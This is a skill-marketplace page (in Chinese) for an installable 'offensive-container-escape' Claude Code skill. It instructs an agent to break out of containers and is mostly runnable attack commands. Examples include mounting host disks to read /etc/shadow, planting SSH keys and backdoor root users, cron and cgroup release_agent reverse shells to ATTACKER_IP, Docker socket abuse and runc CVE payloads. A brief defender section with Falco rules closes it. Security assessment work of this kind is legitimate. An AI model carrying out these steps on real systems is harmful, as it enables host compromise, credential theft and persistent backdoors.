mcpField
O
offensive-container-escape

offensive-container-escape

github.com/snailsploit安全9.7k130 次安装2 周前更新
代码仓库

关于 offensive-container-escape

面向安全评估的容器逃逸技能指南,系统介绍容器内环境检查、常见隔离配置弱点和运行时漏洞。内容涵盖主机命名空间、套接字、Linux 能力、cgroup 及内核漏洞,并列出防御监测要点。

主要功能

  1. 01检查容器环境与隔离配置
  2. 02评估特权模式和运行时套接字
  3. 03分析 Linux 能力与 cgroup 逃逸
  4. 04涵盖运行时及内核漏洞
  5. 05列出容器逃逸监测线索

适用场景

  1. 01评估容器运行配置的逃逸风险
  2. 02检查主机运行时套接字暴露
  3. 03验证 Linux 能力配置是否过宽
  4. 04制定容器逃逸检测规则

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-container-escape

安装后在 Claude Code 中输入/offensive-container-escape确认已加载。

详细介绍

容器逃逸与突破

你在容器内拥有一个 shell。你的目标是逃逸到底层主机操作系统。容器隔离依赖 Linux 命名空间、cgroups、seccomp 配置文件、AppArmor/SELinux 和已移除的能力。上述各层中的任何配置错误都可能成为逃逸途径。本技能将引导你系统地枚举环境、利用常见配置错误、滥用暴露的运行时套接字、利用基于能力的逃逸和 cgroup 突破,以及利用针对容器运行时的已知 CVE。

快速工作流

  1. 确认你位于容器内(检查 .dockerenv、cgroup 条目和 PID 1 进程)。
  2. 使用自动化工具枚举能力、挂载、命名空间和套接字。
  3. 识别逃逸途径:特权模式、套接字暴露、危险能力、cgroup 配置错误或易受攻击的运行时。
  4. 执行与该途径相匹配的突破技术。
  5. 通过读取 /etc/hostname、检查 PID 命名空间或向主机文件系统写入内容,验证是否已访问主机。
  6. 从主机访问权限进一步横向移动到集群或基础设施中的其他位置。

阶段 1:容器检测与枚举

尝试逃逸之前,先确认自己位于容器内,并梳理攻击面。

检测容器环境
# Check for Docker marker file
ls -la /.dockerenv

# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'

# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '

# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'

# Check hostname (often a truncated container ID)
hostname

# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20
自动化枚举工具
# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Zero-dependency container penetration toolkit
./cdk evaluate

# amicontained - Inspect container runtime and capabilities
./amicontained

# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap
手动解码能力
# Read raw capability hex from /proc
cat /proc/1/status | grep CapEff
# Example output: CapEff: 0000003fffffffff

# Decode with capsh
capsh --decode=0000003fffffffff

# Key dangerous capabilities to look for:
# CAP_SYS_ADMIN  - mount filesystems, cgroup manipulation, namespace operations
# CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
# CAP_NET_ADMIN  - network namespace manipulation, raw sockets
# CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
# CAP_SYS_RAWIO  - direct I/O to /dev/mem, /dev/kmem
# CAP_SYS_MODULE - load/unload kernel modules
# CAP_MKNOD      - create device files
检查命名空间隔离
# Compare PID namespace
ls -la /proc/1/ns/pid
ls -la /proc/self/ns/pid

# Check if sharing host namespaces
ls -la /proc/1/ns/ | awk '{print $NF}'
# If namespace inodes match host, isolation is broken

# Check mount namespace for host mounts
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
findmnt

# Check for host network namespace
ip addr show
# If you see host interfaces (eth0 with host IP), hostNetwork is true
cat /proc/net/tcp

阶段 2:特权容器突破

使用 --privileged 运行的容器几乎没有任何隔离。它拥有所有能力、能够查看主机设备,且不受 seccomp 或 AppArmor 限制。

挂载主机文件系统
# List available block devices
fdisk -l 2>/dev/null || lsblk

# Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
# Mount it into the container
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Verify host access
cat /mnt/host/etc/hostname
cat /mnt/host/etc/shadow
ls -la /mnt/host/root/

# Drop an SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys

# Plant a reverse shell in cron
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab

# Add a backdoor user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
使用 nsenter 进入主机命名空间
# If PID 1 on the host is visible (privileged + hostPID), nsenter into it
# This gives you a shell in the host's full namespace context
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Verify you escaped
hostname
id
cat /etc/hostname

# Without hostPID, nsenter from mounted procfs
# Mount host /proc first if available
nsenter -t 1 -m -u -i -n -p -- bash
利用设备访问权限
# Privileged containers have access to all host devices
ls -la /dev/

# Read host memory directly
dd if=/dev/mem bs=1 count=1024 skip=0 2>/dev/null | xxd | head

# Access host disk raw
dd if=/dev/sda bs=512 count=1 | xxd | head

# Create device nodes if CAP_MKNOD is available
mknod /dev/host_disk b 8 0
mount /dev/host_disk /mnt/host

阶段 3:滥用 Docker 套接字

当 /var/run/docker.sock 挂载到容器中时,你便能控制 Docker 守护进程,并创建挂载主机文件系统的特权容器。

检测暴露的套接字
# Check for Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock

# Check if socket is writable
test -w /var/run/docker.sock && echo "WRITABLE" || echo "READ-ONLY"

# Verify Docker API via curl
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool

# Check without curl using socat or Python
python3 -c "
import socket, json
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/var/run/docker.sock')
s.send(b'GET /version HTTP/1.1\r\nHost: localhost\r\n\r\n')
print(s.recv(4096).decode())
"
通过 Docker 套接字逃逸
# If Docker CLI is available
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host \
  --net=host -v /:/mnt/host alpine chroot /mnt/host /bin/bash

# If only curl is available, use Docker API directly
# Step 1: Create a container mounting host root
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host/etc/shadow"],
    "HostConfig": {
      "Privileged": true,
      "Binds": ["/:/mnt/host"]
    }
  }' | python3 -m json.tool

# Capture container ID from response
CONTAINER_ID="<id_from_response>"

# Step 2: Start the container
curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/${CONTAINER_ID}/start"

# Step 3: Read output
curl -s --unix-socket /var/run/docker.sock \
  "http://localhost/containers/${CONTAINER_ID}/logs?stdout=true&stderr=true"

# For interactive shell, use exec endpoint
curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/${CONTAINER_ID}/exec" \
  -H "Content-Type: application/json" \
  -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"],"Tty":true}'
滥用 Containerd 套接字
# Check for containerd socket
ls -la /run/containerd/containerd.sock

# Use ctr if available
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock images list

# Spawn privileged container via containerd
ctr -a /run/containerd/containerd.sock run \
  --privileged --net-host --mount type=bind,src=/,dst=/mnt/host,options=rbind \
  docker.io/library/alpine:latest escape /bin/sh

阶段 4:基于能力的逃逸

即使没有完整的特权模式,单项 Linux 能力也可能足以实现逃逸。

CAP_SYS_ADMIN 逃逸
# CAP_SYS_ADMIN allows mounting filesystems and cgroup manipulation
# Check if present
grep CapEff /proc/1/status
capsh --print | grep sys_admin

# Method 1: Mount host filesystem via block device
mount /dev/sda1 /mnt

# Method 2: cgroup release_agent escape (see Phase 5)
# Method 3: Abuse user namespace
unshare -Urm bash
CAP_SYS_PTRACE 逃逸
# CAP_SYS_PTRACE allows tracing processes across namespaces
# Combined with hostPID, you can inject into host processes

# Find a host process (requires shared PID namespace)
ps aux | grep -v grep | head -20

# Inject shellcode into a host process using ptrace
# Python ptrace injection example
python3 -c "
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

# Target a host process PID
target_pid = 1  # systemd or init

PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12

# Attach to target
result = libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
print(f'Attach result: {result}')
"

# Alternatively, use /proc/PID/root to access host filesystem via host PID
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
CAP_NET_ADMIN 逃逸
# CAP_NET_ADMIN with host network namespace enables ARP spoofing,
# traffic interception, and network-based attacks against the host

# Check for capability
capsh --print | grep net_admin

# Create a network tap to sniff host traffic
ip link add name sniff0 type dummy
tcpdump -i eth0 -w /tmp/capture.pcap &

# ARP spoof the gateway to intercept traffic
# (requires host network namespace)
CAP_DAC_READ_SEARCH 逃逸
# Bypass file permission checks for reading
# Access host filesystem through /proc/1/root if hostPID is shared

# Use open_by_handle_at to access files outside the container mount
# This is the shocker exploit technique
# Compile and run the shocker PoC:
cat > /tmp/shocker.c << 'CEOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>

struct my_file_handle {
    unsigned int handle_bytes;
    int handle_type;
    unsigned char f_handle[8];
};

int main() {
    struct my_file_handle h;
    h.handle_bytes = 8;
    h.handle_type = 1;
    memset(h.f_handle, 0, sizeof(h.f_handle));
    // Brute force inode handles to access host /etc/shadow
    int mount_fd = open("/etc/hostname", O_RDONLY);
    // ... (PoC continues with handle iteration)
    return 0;
}
CEOF
gcc -o /tmp/shocker /tmp/shocker.c

阶段 5:cgroup 逃逸(notify_on_release)

cgroup v1 的 notify_on_release 机制会在 cgroup 中最后一个进程退出时,于主机上执行一个二进制文件。这是针对拥有 CAP_SYS_ADMIN 的容器的经典逃逸方式。

经典 cgroup release agent 逃逸
# Requires: CAP_SYS_ADMIN and cgroup v1
# This runs a command on the HOST, not inside the container

# Step 1: Find the container's cgroup mount
mount | grep cgroup
# Look for: cgroup on /sys/fs/cgroup/... type cgroup (rw,...)

# Step 2: Create a child cgroup
mkdir /sys/fs/cgroup/rdma/escape_cgroup 2>/dev/null || \
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && \
mkdir /tmp/cgrp/escape_cgroup

CGROUP_DIR="/tmp/cgrp"
ESCAPE_DIR="${CGROUP_DIR}/escape_cgroup"

# Step 3: Enable notify_on_release
echo 1 > ${ESCAPE_DIR}/notify_on_release

# Step 4: Find container filesystem path on host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "Host path: ${host_path}"

# Step 5: Set the release_agent to execute our payload
echo "${host_path}/cmd" > ${CGROUP_DIR}/release_agent

# Step 6: Write payload that runs on the host
cat > /cmd << 'PAYLOAD'
#!/bin/bash
# This runs on the HOST
cat /etc/hostname > /output
id >> /output
ps aux >> /output
# Reverse shell to attacker
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
PAYLOAD
chmod +x /cmd

# Step 7: Trigger the escape by putting a process in the cgroup and letting it exit
echo $$ > ${ESCAPE_DIR}/cgroup.procs
# The shell PID joins the cgroup, then when we create and exit a subshell:
bash -c "echo \$\$ > ${ESCAPE_DIR}/cgroup.procs && exit"

# Step 8: Check output
sleep 1
cat /output
cgroup 逃逸变体
# Variation: Using devices cgroup subsystem
mkdir /tmp/cgrp && mount -t cgroup -o devices cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Variation: Memory cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
# Same pattern follows

# Note: cgroup v2 unified hierarchy does not support release_agent
# in the same way. Check cgroup version:
stat -fc %T /sys/fs/cgroup/
# "cgroup2fs" = v2, "tmpfs" = v1

阶段 6:利用运行时 CVE

CVE-2019-5736:覆盖 runc

此漏洞允许容器覆盖主机上的 runc 二进制文件,从而在任何容器启动时于主机上执行代码。

# Check runc version
runc --version 2>/dev/null
docker version 2>/dev/null | grep -A5 Server

# Vulnerable: runc < 1.0.0-rc6
# The attack overwrites /proc/self/exe (the runc binary) from inside the container

# Step 1: Prepare the payload binary that replaces runc
cat > /tmp/payload.sh << 'EXPLOIT'
#!/bin/bash
# This replaces the host runc binary
# When admin next runs docker exec or docker run, our payload executes
echo '#!/bin/bash' > /bin/bash_backup
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /bin/bash_backup
chmod +x /bin/bash_backup
EXPLOIT

# Step 2: Overwrite /bin/sh to be a program that overwrites runc via /proc/self/exe
# The actual exploit requires a compiled Go binary that:
# 1. Opens /proc/self/exe for writing (which points to runc during exec)
# 2. Writes attacker payload to it
# 3. runc on host is now the attacker's binary

# PoC tools: github.com/Frichetten/CVE-2019-5736-PoC
# Compile the PoC, copy into container, and trigger via docker exec
CVE-2024-21626:Leaky Vessels(runc)

runc 中的文件描述符泄漏允许容器通过引用指向主机工作目录的泄漏 /proc/self/fd 条目来访问主机文件系统。

# Vulnerable: runc <= 1.1.11
# The vulnerability is in the WORKDIR processing during container build/run

# Check runc version
runc --version

# Exploitation concept:
# 1. Craft a Dockerfile with WORKDIR /proc/self/fd/8 (or other FD number)
# 2. The leaked file descriptor points to the host filesystem
# 3. Building or running the image gives host filesystem access

# Malicious Dockerfile example (build-time exploitation):
cat > /tmp/Dockerfile.escape << 'DOCKERFILE'
FROM ubuntu:latest
# The leaked fd points to host CWD during build
WORKDIR /proc/self/fd/8
# This RUN now operates on the host filesystem
RUN cat /etc/shadow > /tmp/shadow_dump || true
DOCKERFILE

# Runtime exploitation:
# Container started with WORKDIR pointing to leaked fd
# can read/write host files through the fd reference

# Detection: Check for /proc/self/fd references in WORKDIR directives
grep -r "WORKDIR.*proc/self/fd" /path/to/dockerfiles/
CVE-2020-15257:Containerd 主机网络
# Containerd < 1.4.3, < 1.3.9
# Containers sharing host network namespace can access containerd-shim API

# Check if container uses host network
cat /proc/1/ns/net | xargs readlink
ip addr | grep docker0  # Seeing host interfaces indicates host network

# Access containerd-shim abstract unix socket
# from host network namespace container
curl --unix-socket /run/containerd/containerd.sock \
  http://localhost/v1/namespaces

阶段 7:从容器中利用内核漏洞

当其他逃逸途径不可用时,由于容器与主机共享内核,内核漏洞可能提供访问主机的途径。

识别内核版本
uname -a
uname -r
cat /proc/version

# Check for known vulnerable kernels
# DirtyPipe: CVE-2022-0847 (5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102)
# DirtyCow: CVE-2016-5195 (kernel < 4.8.3)
# OverlayFS: CVE-2021-3493 (Ubuntu kernels)
# nftables: CVE-2023-32233 (kernel < 6.4)
从容器中利用 DirtyPipe(CVE-2022-0847)
# Overwrites read-only files via pipe page cache poisoning
# Works from inside containers because it targets the shared kernel

# Check kernel version
uname -r
# Vulnerable: 5.8 through 5.16.10

# The exploit overwrites /etc/passwd on the HOST from the container
# because the page cache is shared between host and container

# Compile exploit (if gcc available in container)
# PoC modifies root entry in /etc/passwd to remove password
检查 Seccomp 和 AppArmor
# Check if seccomp is restricting syscalls
cat /proc/1/status | grep Seccomp
# Seccomp: 0 = disabled, 1 = strict, 2 = filter

# Check AppArmor profile
cat /proc/1/attr/current
# "unconfined" means no AppArmor restriction

# Check if kernel module loading is possible
# (no seccomp + CAP_SYS_MODULE)
modprobe test 2>&1
insmod /tmp/evil.ko 2>&1

检测 / 防御方视角

防御方监控容器逃逸时应关注:

  • 进程监控:意外出现的、可查看主机 PID 命名空间的进程。容器运行时在非正常模式下启动的进程(例如,runc、containerd-shim 创建 shell)。
  • 文件系统事件:容器内的挂载操作(来自容器 PID 的 mount 系统调用)。主机上的 /root/.ssh/authorized_keys、/etc/crontab、/etc/passwd 中出现新文件。
  • Cgroup 操纵:创建 notify_on_release 设为 1 的新 cgroup。向 release_agent 文件写入内容。
  • Docker 套接字访问:容器内部向 Docker 套接字发起 API 调用。包含 --privileged 或主机挂载绑定的容器创建请求。
  • 能力异常:容器以 CAP_SYS_ADMIN、CAP_SYS_PTRACE 或其他应用并不需要的危险能力运行。
  • 审计规则:监控 nsenter 的使用、unshare 调用,以及容器上下文中对 /proc/*/ns/* 的访问。
  • Falco 规则:部署运行时安全防护规则,检测意外启动 shell、访问敏感文件以及容器内的权限提升。
# Falco rule example for detecting container escape attempts
# - rule: Detect Container Escape via cgroup notify_on_release
#   desc: Detects write to notify_on_release in cgroup directory
#   condition: >
#     open_write and container and
#     fd.name contains "notify_on_release"
#   output: >
#     Container escape attempt via cgroup release_agent
#     (user=%user.name container=%container.name file=%fd.name)
#   priority: CRITICAL

演练速查表

# --- Detection ---
# Am I in a container?
ls /.dockerenv 2>/dev/null && echo "Docker" || echo "Not Docker"
cat /proc/1/cgroup | grep -qE 'docker|kubepods|containerd' && echo "Containerized"

# What capabilities do I have?
capsh --print 2>/dev/null || cat /proc/1/status | grep Cap

# Is Docker socket available?
ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock 2>/dev/null

# Am I privileged?
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED (NET_ADMIN)" && ip link del dummy0
mount -t tmpfs none /tmp/test 2>/dev/null && echo "PRIVILEGED (SYS_ADMIN)" && umount /tmp/test

# Cgroup version?
stat -fc %T /sys/fs/cgroup/

# --- Exploitation (one-liners) ---
# Privileged mount escape
mkdir /mnt/host 2>/dev/null; mount /dev/sda1 /mnt/host; cat /mnt/host/etc/shadow

# nsenter escape (with hostPID)
nsenter -t 1 -m -u -i -n -p -- bash

# Docker socket escape
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/h alpine chroot /h

# Cgroup escape (CAP_SYS_ADMIN)
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null|head -n1)); mkdir -p $d/w; \
echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab); \
echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c; \
sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o

# --- Post-Escape ---
# Validate host access
hostname; id; cat /etc/os-release; docker ps 2>/dev/null

关键参考资料

评论

支持 Markdown